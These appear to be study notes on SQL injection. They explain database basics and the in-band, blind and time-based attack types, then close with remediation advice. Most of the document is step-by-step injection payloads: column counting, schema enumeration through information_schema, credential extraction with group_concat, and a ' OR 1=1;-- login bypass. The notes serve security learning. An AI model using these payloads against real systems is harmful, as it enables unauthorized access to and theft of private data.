

What is SQL Injection?

- Attack on web application database server that causes malicious queries to be executed
 - Occurs when user input isn't properly validated before being used in SQL queries
 - Can result in theft, deletion, or alteration of private/customer data
 - Can bypass authentication methods
-

Database Basics

Relational Database: Stores information in tables with columns and rows

- Tables contain related data (e.g., users table, products table)
- Columns: Fields with specific data types (integers, strings, dates)
- Rows: Individual records/entries
- Primary Key: Unique identifier for each row

Non-Relational (NoSQL): Doesn't use tables/columns/rows; more flexible structure

Basic SQL Commands:

SELECT - Retrieve data

sql

```
SELECT * FROM users;           -- Get all columns
SELECT username, password FROM users; -- Get specific columns
SELECT * FROM users LIMIT 1;    -- Get first row only
SELECT * FROM users WHERE username='admin'; -- Filter results
```

WHERE clauses:

- **=** : Equal to
- **!=** or **<>** : Not equal to
- **LIKE** : Pattern matching with % wildcard
 - **'a%'** - Starts with a
 - **'%n'** - Ends with n
 - **'%mi%'** - Contains mi
- **AND / OR** : Combine conditions

UNION - Combine results from multiple SELECT statements

- Must have same number of columns in each SELECT
- Columns must be similar data types

- Column order must match

INSERT - Add new data

sql

```
INSERT INTO users (username, password) VALUES ('bob','password123');
```

UPDATE - Modify existing data

sql

```
UPDATE users SET username='root', password='pass123' WHERE username='admin';
```

DELETE - Remove data

sql

```
DELETE FROM users WHERE username='martin';
```

```
DELETE FROM users; -- Deletes ALL rows (no WHERE clause)
```

SQL Injection Types:

1. In-Band SQLi (Same channel for attack and results)

- **Error-Based:** Database errors printed directly to browser
- **Union-Based:** Uses UNION operator to return extra results

2. Blind SQLi (Little to no feedback)

- **Authentication Bypass:** Make login query always return true
- **Boolean-Based:** True/false responses
- **Time-Based:** Use delays to confirm success

3. Out-of-Band SQLi (Different channels for attack and data retrieval)

In-Band (Union-Based) Methodology:

1. Find number of columns:

```
0 UNION SELECT 1 → error (wrong column count)
```

```
0 UNION SELECT 1,2 → error
```

```
0 UNION SELECT 1,2,3 → success
```

2. Get database name:

```
0 UNION SELECT 1,2,database()
```

3. **Get table names:**

```
0 UNION SELECT 1,2,group_concat(table_name) FROM  
information_schema.tables WHERE table_schema = 'database_name'
```

4. **Get column names:**

```
0 UNION SELECT 1,2,group_concat(column_name) FROM  
information_schema.columns WHERE table_name = 'table_name'
```

5. **Extract data:**

```
0 UNION SELECT 1,2,group_concat(username,':',password) FROM  
table_name
```

Key functions:

- `group_concat()` - Combine multiple rows into one string
 - `database()` - Current database name
 - `information_schema` - System database with metadata
-

Blind SQLi - Authentication Bypass:

Login form with query:

sql

```
SELECT * FROM users WHERE username='$username' AND password='$password' LIMIT 1
```

Bypass payload (password field):

text

```
' OR 1=1;--
```

Resulting query:

sql

```
SELECT * FROM users WHERE username="" AND password="" OR 1=1;
```

Always returns true

Blind SQLi - Boolean Based:

- Uses true/false responses (e.g., {"taken":true/false})
- Enumerate database character by character

1. **Find column count:**

```
admin123' UNION SELECT 1;-- (false) → add columns until true
```

2. **Find database name:**

```
admin123' UNION SELECT 1,2,3 where database() like 's%';-- (true if first letter 's')
```

3. **Find table names:**

```
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema='db_name' and table_name like 'u%';--
```

4. **Find column names:**

```
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='db_name' and TABLE_NAME='table_name' and COLUMN_NAME like 'a%';--
```

5. **Extract data:**

- Find username: ... where username like 'a%'
- Find password: ... where username='admin' and password like 'p%'

Blind SQLi - Time Based:

- Use `SLEEP()` to introduce delays
- Success = response delay; Failure = immediate response

1. **Find column count:**

```
admin123' UNION SELECT SLEEP(5);-- (no delay = wrong columns)
admin123' UNION SELECT SLEEP(5),2;-- (5 sec delay = 2 columns)
```

2. **Enumeration with delay:**

```
admin123' UNION SELECT SLEEP(5),2 where database() like 's%';--
```

Remediation:

- **Prepared Statements** (Parameterized Queries) - separates SQL logic from data
- **Input Validation** - validate/whitelist expected input
- **Escape Special Characters** - when prepared statements aren't possible
- **Least Privilege** - database user should have minimal required permissions
- **WAF** - Web Application Firewall as additional layer